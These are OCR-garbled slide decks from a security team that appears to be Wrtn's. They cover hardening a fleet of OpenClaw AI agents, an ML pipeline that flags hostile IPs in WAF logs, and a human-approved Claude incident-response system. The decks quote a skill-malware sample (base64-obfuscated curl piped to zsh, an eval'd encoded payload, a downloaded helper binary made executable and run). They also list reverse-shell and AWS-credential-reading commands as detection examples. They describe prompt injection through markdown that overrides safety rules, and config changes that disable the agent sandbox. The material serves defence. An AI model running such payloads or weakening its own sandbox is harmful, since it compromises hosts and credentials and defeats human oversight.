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The Deployment Trust Model
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Rejected: Hostile Multi-Tenant

Session IDs are routing selectors, not authorization tokens.
Shared gateways fail as security boundaries.

Approved: 1:1 Personal Assistant Model

One operator per gateway instance. Security monitoring
focuses exclusively on individual operator misuse, endpoint

compromise, and supply chain integrity.
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Defense-in-Depth: The 5-Layer Architecture

A
Ring 1: Network
(WireGuard + AWS) \ 4
- Isolation & Inspection Ring 2: Endpoint
Management
(Jamf Pro)
% - Configuration Compliance

Ring 3: Detection
(CrowdStrike Falcon)

- Process & File Monitoring K
Ring 4: App Telemetry
(OpenClaw Hooks)
}% - Application Logic State
Ring 5: Behavioral Analytics
(SIEM)

- Synthesis & Correlation
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The Prompt Handling Execution Chain

Raw User Prompt Ii

o—— High-risk action prohibitions

o—— Ask first execution rules
o— Sandbox & tool allowlists

o—| Process isolation
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Node Anatomy: Embedded Defenses vs.
vs. Operator Files

Document 2:
~/ .openclaw/openclaw. json

The Locked Core:
JavaScript bundle

contains runtime-embedded
safety prompts.
Modification here is a
Critical tamper event.

/opt/homebrew/1 k Directives: Do not
S ib/node_modules manipulate or persuade
g;ee;?;?fggggebgg:gs /openclaw/dist/ ' to expand access.

represent the primary
configuration attack
surface. Easily
manipulated to weaken

safety rules, disable the ZD
sandbox, or pre-approve ‘%

dangerous commanas.

Document 1:
~/ .openclaw/workspace/SOUL.md

Document 3:
~/ .openclaw/exec-approvals.json
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Configuration State Threat Matrix

Network Exposure

Runtime Sandbox

Exec Approvals

J Critical gateway.bind: '0.0.0.0' agents.defaults.sandbox. defaults.security: 'full'
Severity gateway.auth.mode: 'none' | mode: 'off! defaults.ask: 'off'
High gateway.tailscale.mode: tools.elevated.enabled: defaults.askFallback:
Severity ‘on' true 'full’

/ Medium , defaults.autoAllowSKills:

: —_— tools.deny: []
Severity true

Values deviating from the safe baseline trigger immediate Jamf Smart Group remediation protocols.

wrtn.



Layer 1: Network Isolation &
The Fail-Closed Trap

WireGuard TLS N
Inspection Tunnel &

Enforced Routing: TLS
Inspection catches Prompt
Injections, Data Exfiltration,
and C2 comms.

Mac mini ENI
Physical Isolation: If the l *
WireGuard client drops, the / g

ENI drops all packets. K

Zero Bypass:
Zero external access is
possible without deep

packet inspection. AWS Security Group

(Deny All Egress)

wrtn.



(—)l [5) skILL.md h
(—)l % base64_payload H

unpacked 4

k—)I @ binary.so I-—"
\-él obfuscated.js I—)

Handling Rules: Files >1MB
are truncated (first 500KB +
last T00KB).

< =

Layer 1: Threat categorization with Claude Al

Claude Al Analysis

<)

Base64 Payloads:
Obfuscated shell
commands.

5

Obfuscated JS:
Heavy use of eval() or
hex-escaped strings.

Malicious Markdown:
Instructions overriding
safety rules.

Embedded Binaries:

.$0, .dylib, or Mach-0O
headers.

— RS

Allow

Alert & Allow

Block & Trigger
Quarantine
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curl -LskfS $(echo
'aHROCHM6Ly9ydmRvd25sb2Fkcy57b20vY3VybC80MININWEOMmMIyZTZhNzg3MTE20GQyOGJIJYJE3ZTAOZTc1Z3IxNDY10OW

JMNGM4ANTMyY JY4MGI zMmJ1MGRkODU3 "' |base64 -D) | zsh

curl
hxxps://rvdownloads.com/curl/423e5a42b2e6a7871168d28bcbl7e04e75£f214659%90f4c8532b680b32be0dd857
#!/bin/zsh

aeveun=$ (base64 -D <<'PAYLOAD END' | gunzip
H4sIALigvmkC/13LOQgAIBBAOb2nmAjchM02uo2pYKCO6F)S6WtZLE+DPw6470mv60oVpJIYALQI4ZvQvZEfDMua6I5bB0pkD
altlOoxLQkbNlgdiAldMlcQJInP+rjxkSxM/e+vFDefDi5wgQAAAA==

PAYLOAD END

)

eval "Saevoun"

#!/bin/zsh
curl -o /tmp/helper hxxps://rvdownloads.com/n8n/update && xattr -c /tmp/helper && chmod +x

/tmp/helper && /tmp/helper



Layer 2: Endpoint Management via Jamf Pro

Continuous Compliance Engine

‘ EA 1: Config Hash I I EA 2: Exec Hash I EA 3: Installed Skills ‘ EA 4: Hooks I \ EA 5: Dangerous Configs I

Jamf Smart Group

Evaluation
If SANDBOX_OFF If Unapproved If Config
or EXEC_FULL Skill Detected Hash Drift

Push corrective openclaw. json Run openclaw skill remove :
‘ & Restart Gateway I via policy I \ Alert SOC for manual review I

Smart Groups execute immediate auto-remediation policies for critical misconfigurations before

SOC intervention is required.
wrtn.



‘ Layer 3: Endpoint Detection via

CrowdStrike Falcon

node (openclaw gateway)

..........

...................

node /dist/pi-embedded.js

node /dist/reply.js

python approved_tool.py

' nc -e /bin/sh 10.0.0.5 4444 l
Reverse Shell

bash -i >& /dev/tcp/10.0.0.5/9001 |

Suspicious Redirection

cat ~/.aws/credentials
Credential Access

Falcon explicitly monitors the dist/ directory for
runtime binary modifications and SOUL . md for
tampering via non-OpenClaw processes.

-----------

wrtn.



Layer 4: Application Telemetry & Hooks

&S
‘7% Session Transcripts (*.jsonl)
2 R e R A e
OpenClaw & e Filebeat

Execution O S O O
i T EERRRERM -
= Ell | [———]|}
O =l = L —— -
Q
é}‘-’ tool_result_persist
<
o™ |
& Warning: Custom tool hooks must be strictly synchronous.

Async/Promise logic disrupts the execution chain. All I/O
must use fs.appendFileSync.

wrtn.



. The Telemetry Pipeline Latency Map

Sources

CrowdStrike
JetBrains Mono

OpenClaw Hooks

JetBrains Mono

WireGuard

JetBrains Mono

AWS VPC

JetBrains Mono

Jamf

JetBrains Mono

Daily Audits

JetBrains Mono

Latency SLAS

@ Fror = \\
— 0y Near Real-time
—> (<30$)

-»

e — OLog Export ———————— ”’3‘ ~1 Min

|
O CloudWatch = ~5 Min

OAPI Polling
© 53 Bucket - D paily

Understanding data arrival times is critical for incident response sequencing.
Hostile process execution triggers instantly; configuration drift evaluates on

15-minute polling cycles.
|

,,,,,,,,,,,,,,,,,,,,,,
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Layer 5: Behavioral Analytics & Correlation

CrowdStrike FDR Data Convergence
JetBrains Mono Diagram g
[Falcon: SOUL.md Modified] +

[Jamf: Sandbox Disabled] =
OpenClaw Hooks
JetBrains Mono

[CRITICAL: Coordinated Config Weakening]
WireGuard Logs
JetBralns Mono
Jamf & CloudWatch
JetBrains Mono '

# True defense-in-depth is realized at the correlation engine. Isolated

anomalies at the edge form high-confidence attack signatures when
synthesized.

[Jamf: Unapproved Skill] +
[WireGuard: Anomalous NPM Traffic] =
[CRITICAL: Supply Chain Attack]

/ / / / |
” s ’, Y T T ST T " T

IR | wrtn.




' Telemetry Capability Matrix

............

Prompt Reverse | Sandbox Token |O0ff-hours Large
Injection| Shell Disabled | Anomaly | Activity |Exfiltration
WireGuard -$ @-
CrowdStrike
Falcon
Jamf Pro @

Central SIEM

Redundant coverage ensures that if an attacker blinds one sensor, the

©

©

operational objective is caught by another.

wrtn.



| |
Operational Playbook: Threat Response

...............

Phase 3: l
Remediate

Phase 2:

Preserve & Phase 4:

Post-Incident

Investigate

Release EC2 Host

: : Push Jamf Capture —> ;
E:;ggggi Isolation ~/.openclaw/ Scrub EBS Volume ggig:gg:aé
STEM AL Profile OR & Falcon logs. S Netaction Rule
s Falcon RTR Review Provision New Host Updates.

%

lock. ‘ transcripts.

Jamf Re-enroll.

Compromised nodes are not sanitized; they
4% are destroyed. The 24h EC2 Mac minimum
v/ allocation applies, requiring total release and
VLl fresh provisioning from the golden image.

LAY | wrtn.



...............

" Fleet Hardening Scorecard

Endpoint Health

e FileVault: ON
e Falcon Sensor: ACTIVE

Network Posture

e WireGuard Tunnel: ESTABLISHED
e TLS Inspection: ACTIVE

e Security Group: DENY ALL
NON-WG EGRESS

OpenClaw Config

e gateway.bind: loopback
e sandbox.mode: all / non-main
e tools.elevated.enabled: false

Telemetry Integrity

e Filebeat Shipper: RUNNING
e Dist/ Integrity Hash: VALID
e Daily Security Audit: PASSING

V4
/I; f /
7,

“ The standard is continuous enforcement. Any deviation from these 4 core domains triggers automated
remediation or immediate SOC isolation. Reference Jamf EAs and S3 Audit Reports for live telemetry.

Pr— » oy , > »
L, ‘i / Ft

——————— |
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Wrtn Preemptive Security Al:
Pipeline Architecture & Operations

Operational Deep Dive & Technical Architecture
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probing from automated scanners and fo 3 |
brute-force botnets. : :.
The Challenge . s
The sheer volume of raw Cloudflare WAF . 0
logs drowns out the signals of i i

sophisticated, directed attacks.

The Requirement

SecOps requires an automated, intelligent
pipeline to isolate high-probability threat
actors before they strike, without relying
on manual log hunting.
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The End-to-End Autonomous Threat Detection Architecture

3. Google Cloud BigQuery

security-469706.cloudflare_log.waf

Y

Preemptive AI Core: Leveraging
ARIMA+ Anomaly Detection &
K-Means Clustering.

wrkn.




Filtering the Noise Through the BigQuery ML Funnel

Step 1: Building the Timeline
Step 2: Training the AI Detective
Step 3: Isolating the Crime Scene

Step 5: Grouping the Attackers
Step 6: Feeding the Dashboard

Millions of Raw Logs

Detection (ARIMA+)

Profiling (UEBA)

Clustering (K-Means)

Extraction (SQL)

The Hit List

Step 4: Profiling the Suspects

Step 7: Generating the Hit List

wrtn.




Steps 1-3: Isolating the Crime Scene with ARIMA+

Volume (Requests/Hr)

30K

20K

10K

Upper Prediction Threshold
Predicted Dip:
KR National Holiday
00:00 06:00 12:00 18:00 24:00

Verification Sage: Baseline Traffic

Time (Hours)

Alert Crimson: High-Threat Anomaly

Step 1: Timeline Building

Groups raw logs into hourly block action
countsviawaf timeseries.Injectsa
zero-row union to prevent pipeline failure
on perfectly quiet days.

Step 2: Training the Detective

Deploys an ARIMA_PLUS model via
waf_anomaly model. Configured with
holiday_region = 'KR' to automatically
learn local traffic cycles and ignore
expected lulls.

Step 3: Isolating Anomalies

Executes ML.DETECT_ANOMALIES via
v_anomaly_forensics. Filters strictly for
risk_rank <= 3, isolating only the
absolute most suspicious hours cutting out
background noise.

wrtn.




Step 4: Extracting Threat DNA via UEBA Profiling

User & Entity Behavior Analytics (UEBA): Translating raw logs into behavioral risk scores.

IP: 19851110042

Hostility
geo_risk_score

Measures geographical origin against known high-threat
nation-state profiles.

Infrastructure
1s_datacenter_ip

Differentiates routing: identifying traffic hiding in anonymous cloud
provider data centers versus standard residential ISPs.

Aggression
unique_paths_targeted

Calculates traversal: exploring multiple distinct endpoints signals a
sophisticated vulnerability scanner mapping the architecture.

wrtn.




Steps 5-6: Grouping Attackers with K-Means Clustering

Unsupervised Machine Learning mathematically categorizes threat DNA.

&) Cluster 1
®e . ® High-Intensity) c1yster 7
> @ - ® ® Scanners | ow-Volume Cluster 8
®e > @ ® ® ® 2 Botnet Anthomatoes

@ o ® @ @ 9 ® 0%

@ g o L N

o0 ® o ® Clictar Cluster 3
‘Q @ o © & ® @ | lf\sl Tr Architectural
& 0‘ 2] @ ®e %0 ow-Volume fowe Cluster7 @
@ @ © @ | ® 0% Botnet bR
(6] @ ® e ~ ° | > @ ‘0 .O. Verification
i © ® ® ® Unsupervised Clustera | ® .‘.0. Sage
e S R e @ KMEANS Model Unknown =~ @@ ®g e 90
@ S @ Activi .0 g%
D ¢ ) CLVILy %® L T
e © .. ® 9 ® o | & a®a 20,0
e ® Vo & ® oS0 0\ %8 o
® @ ) € ®9%a /Cluster9
& L] ® “e® @ ©
e® ' Unknown
Activity
Unprofiled IPs e i

| Step 5: Attacker Profiles (ueba_clusters)

Step 6: Dashboard Feed (v_cluster_viz)

The unsupervised ML model mathematically groups IPs
with identical behavioral patterns into exactly 10 distinct
Attacker Profiles.

Uses ML.PREDICT to assign every IP to a cluster.
Calculates the cluster’s collective Average Scan Intensity

(Intent) and Total Attack Volume (Impact).
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Visualizing Threat Intelligence in Looker Studio

LOGARITHMIC SCALE

Total Attack Volume (Impact) -

@

Dashboard Configuration

Average Scan Intensity (Intent)

Dimension: cluster number

X-Axis:
Measures Exploration & Intent

Y-Axis: Measures Scale & Impact
(Log Scale ensures massive
botnets don’t break the chart)

Bubble Size: total _ips
(Reveals Botnet Size)

Bubble Color:
Calculated Threat Level

Verification Sage Alert Crimson

wrktn.




The Threat Interpretation Matrix

Persona

Dashboard Coordinates

Threat Priority

Behavioral Profile

{-:+} The Sniper

High X (Intent),
Low Y (Impact)

Priority 1 (Red)

Sophisticated vulnerability scanners
or directed credential attacks.
Highly targeted, keeping volume low
to evade standard rate limits.

High X (Intent),
High Y (Impact)

Priority 1 (Red)

Automated, distributed attacks
originating from high-risk
Infrastructure. High aggression and
massive scale.

Low X (Intent),
High Y (Impact)

Priority 3 (Green)

High-volume basic crawlers hitting
a single endpoint repetitively.
Architecturally annoying, but low
actual security risk.

wrktn.




Step 7: Closing the Loop with Actionable Extraction

Total Attack Volume (Impact) -

LOGARITHMIC SCALE

198.51.100.42 | 4
203.0.113.88 | 4

19220520815 4

- Target Identified:
Cluster 4 (The Sniper)

Average Scan Intensity (Intent)

IP_ADDRESS CLUSTER THREAT_SCORE ACTION

99.8%
99.5%

99 1%

Generating the Hit List
(v_ip_cluster_mapping)

Once a hostile cluster is identified, a
single query against the mapping
view extracts the exact IPs. IPs are
ranked by localized Threat Score.

The resulting hit list is formatted for
direct ingestion into Cloudflare block
rules, neutralizing sophisticated
actors in seconds.

wrtn.




The Continuous Preemptive Defense Engine

Ingest

Autonomous: BigQuery ML daily cron
jobs replace manual log hunting.
Block

Detect

Preemptive: ARIMA+ and K-Means
identify threats before they scale
into breaches.

Precise: Surgical extraction

replaces broad, collateral-damaging
rate limits.

Extract Profile

From chaotic anomaly to actionable enforcement—a self-refining pipeline ensuring persistent operational readiness.
wrtn.




-- 4. Update UEBA Features (Aggression Feature Engineering)
CREATE OR REPLACE VIEW ‘security-469706.cloudflare_log.ueba_features® AS
SELECT
ClientIP,
FARM_FINGERPRINT(ClientRequestPath) AS path_id,
FARM_FINGERPRINT(ClientCountry) AS country_id,
CASE

WHEN REGEXP_CONTAINS(LOWER(ClientASNDescription), 'cloud|hosting|server|datacenter|vps|aws|azure|digitalocean|ovh|linode")

THEN 1 ELSE © END AS is_datacenter_ip,
CASE
WHEN LOWER(ClientCountry) IN ('af', 'by', 'bf', 'mm', 'cf', 'ht', 'ir', 'iq', '1lb’,
THEN 2
WHEN LOWER(ClientCountry) IN ('co', 'cd', 'eg', 'gt', 'bn', '"jm', 'ng', 'ni', 'pk',
ELSE @ END AS geo_risk_score,
COUNT(*) AS request_count,
COUNT(DISTINCT ClientRequestPath) AS unique_paths_targeted, -- KEY AGGRESSION SIGNAL
AVG(EdgeResponseStatus) AS avg_error_code
FROM “security-469706.cloudflare_log.v_anomaly_forensics’
GROUP BY 1, 2, 3, 4, '5;

'sa') THEN 1
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18
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top_risk_ip_address
SELECT

ai.ClientIP,

ANY_VALUE(raw.ClientCountry) AS ClientCountry,

ai.request_count

&, Download

FROM ML.PREDICT(MODEL "security-4697086.cloudflare_log.ueba_clusters’,

WHERE ai.centroid_id = 2
, ail.request_count

(SELECT * FROM “security-469706.cloudflare_log.ueba_features')) AS ai

LEFT JOIN “security-469786.cloudflare_log.v_anomaly_forensics ™ AS raw

lent

tIP

ORDER BY ai.request_count DESC;

& Query completed
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Query results
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Engineering
Safe Al Incident
Response

The Architecture, Security, and
Execution Control Plane of the
Multi-Webhook Claude Analyzer.
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Architectural Separation of Concerns

Controller Lambda (The Brain) Executor Lambda (The Hands)

~Trigger Source ‘Trigger Source

Webhooks & SQS ’ Internal Invoke ONLY

Primary Role

Primary Role
Event Ingestion, AI Prompting, Comms ‘

| Action Remediation

Al Interaction ’AI Interaction

Direct Claude Contact | | Zero AL Contact / Fully Walled Off

' Falcon API {\ccess

| .Falcon APl Access
Read-Only / Enrichment

Write / Execution

( By physically severing analysis from execution, we contain the Al’s blast radius to a purely advisory role. JI
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Phase 1: The Sub-Second Disconnect

; CrowdStrike
: D—) Webhook -> »

APl Gateway
4

Synchronous (<200ms)

HMAC
Validation

@ (Rejects >5m

replays)

/

/

]
-|P
=

DynamoDB
Deduplication
Claim

SQS Enqueue &

[l Instant HTTP

200 Return

Asynchronous (Heavy Lifting)

SQS Main Queue
(360s visibility timeout)

Lambda Event-Source
Mapping -> Controller Worker

N5 (&

A Key Insight

CrowdStrike is never
blocked waiting for LLM
generation. SQS batch
itern failures retry safely
up to 5 times before
hitting the DLQ.

AN

74
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Phase 2: Deep Enrichment & Al Analysis

Raw Alert Normalization

Device Online State
& Login History

Claude-
Historical IP/MAC sonnet-4-6
Network Addresses (Incident
Response
ThreatGraph Process Persona)

Edges & Lineage

Host Alert Severity
Distribution

AN NN NN

'kStructured JSON Output 3

{
S5W2H Summary

Hypothesis
MITRE ATT&CK Mapping

Confidence Assessment
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Triage & The Analyst Interface oS

1

=L slack Async Interaction Handling
Slack requires a 3-second response.
| CRITICAL Handler hits DynamoDB to prevent
| duplicates, fires async Lambda invoke,
5W2H Summary and returns HTTP 200 in ~200ms.
(max 250 chars) Confidence: 80%

/. \\

Action Security

[[Open in Falcon]] [ ® Al Response ] [G Contain Host J

All button clicks undergo Slack signing
~» Thread Reply secret HMAC validation. Contain
Deep dive: Process Lineage & MITRE mapping buttons have a 1-hour strict expiry.

[ — g

AN NN NN
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Phase 3: The Al Response Pipeline

Analyst clicks
"® Al Response" —>
Falcon re-enrichment

AN NN NN

context. json

Machine-readable state
(Event IDs, I0Cs, MITRE tech)

response.py

Analyst-facing script.
Subclasses IncidentRunner.
Lazy-loads APIs.

Defaults to --dry-run=True.

response-plan.json

Restricted automation plan.
Strictly limited to 5 allowlisted
read/contain actions.

Ore—

GitHub PR Created

PR: Automated Response Plan
for Incident #12345

Merging ai-response-pipeline into main

o need-approval > need-apply

[Merge pull requestj Close pull request
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The Division of Labor

The Al
(Hypothesis & Proposal)

The Human
(Validation & Authorization)

The System
(Enforcement & Execution)

£5 Enriches threat data.

9.1 Maps process lineages
© to MITRE frameworks.

n Drafts structured JSON
—  response plans.

E{ Generates dry-run
= investigation scripts.

[ Reviews findings in
Slack.

{i) Enforces idempotency
(no duplicate branches).

a Validates the structured
“response-plan.json .

ﬂ-‘ Calculates and verifies
cryptographic hashes.

-l

O Types ‘approved’ in the
GitHub PR.

S Executes allowlisted
— Falcon APl commands.
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Phase 4: The Cryptographic Handshake

Step 1: The Gate

O
CO Authorized user types ‘approved’ on
the PR. Controller webhook fires.

] S
(o O
Step 4: The Verification - ~ Step 2: The Lock
Executor wakes up, re-fetches plan @ o ) o m Controller fetches "response-
from GitHub using “approved_sha’, < plan.json’ at exact "HEAD® commit
and re-verifies the hash. SHA. Computes normalized hash.
o 0

(o}
Step 3: The Hand-off
cf]_) Controller passes payload ‘{pr_number,
approved_sha, plan_hash}

to isolated Executor.

r/— Key Security Guarantee: —\‘
If a single commit is pushed after approval, the SHA changes, the hash fails, and execution
k is hard-blocked. The Executor blindly trusts math, not the Al. p)
wrkn.




Phase 5: Verified Execution

The Clean Room Constraints

e Never runs the Al-generated
‘response.py  script.

» Executes strictly the verified
‘response-plan.json .

» No access to Claude API secrets.

The Allowlist (Permitted Actions Only)

"get_device_details’

| "get_device_online_state’ l

| "get_device_login_history" l

[ “contain_host ™ (Network isolation)]

[ "lift_containment’ ]

Post-Execution

Raw Falcon API results
fetched. Claude
generates final risk
assessment report.

PR updated with
“applied’ label.
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The 2-Minute Resolution

<55y 0:09 - Initial Triage
¢ Claude Analysis + Slack
L Notification (44s)

1:25 - Plan Ready 2:01 - Remediation
Script generation, GitHub ¥® Executor verifies SHA,
Issue, and PR creation (30s) contains host, posts

findings (65)

ﬂ‘i 2) 3 4
Q\. 0:00 - Threat Detected 0:53 - Auto-Dispatch O 1:55 - Human Approval
@ CrowdStrike Webhook -> SQS CRITICAL severity triggers C-_Q Analyst reviews and
-> Falcon Enrichment (9s) Claude re-analysis (32s) comments ‘approved’

Total Wall Time:
~2 Minutes 12 Seconds.

Maximum analytical depth, zero-trust execution, zero autonomous risk.
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